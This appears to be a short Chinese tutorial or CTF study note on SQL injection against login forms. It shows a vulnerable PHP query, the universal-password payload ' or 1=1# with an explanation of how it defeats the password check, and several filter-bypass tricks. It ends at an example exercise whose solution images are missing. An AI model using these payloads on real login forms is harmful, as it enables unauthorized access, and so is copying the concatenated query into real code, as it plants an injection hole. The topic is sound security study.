有关登录型sql注入的补充

有关登录型sql注入的补充
huarui有关登录型sql注入的补充
登录型sql注入特征
形如下列语句即为登录型
| 1 | $sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'"; | 
注入方法以及原理
万能密码:
| 1 | ' or 1=1# | 
在用户名输入框中输入:’ or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为:
| 1 | select * from users where username='' or 1=1#' and password=md5('') | 
语义分析:“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:
| 1 | select * from users where username='' or 1=1#' and password=md5('') | 
等价于
| 1 | select * from users where username='' or 1=1 | 
SQL注入采用的’ OR 1=1 # 是什么意思呢?
最后一个#号有什么意义呢?
‘#’可以注释掉后面的一行SQL代码
相当于去掉了一个where条件
MySQL 注释, 过滤掉后面的SQL语句,使其不起作用 ,因为1=1永远是都是成立的,即where子句总是为真,将该sql进一步简化之后,等价于如下select语句:
| 1 | select * from users | 
没错,该sql语句的作用是检索users表中的所有字段
绕过
- 大小写变形,Or,OR,oR,And,ANd,aND等-代码中大小写不敏感都剔除 
- 在这两个敏感词中添加注释,例如:a/**/nd 双写绕过oorr 
- 利用符号代替–and –&& –or–|| 等 
例题
| 1 | $email = $_POST['email']; | 
解法如图:





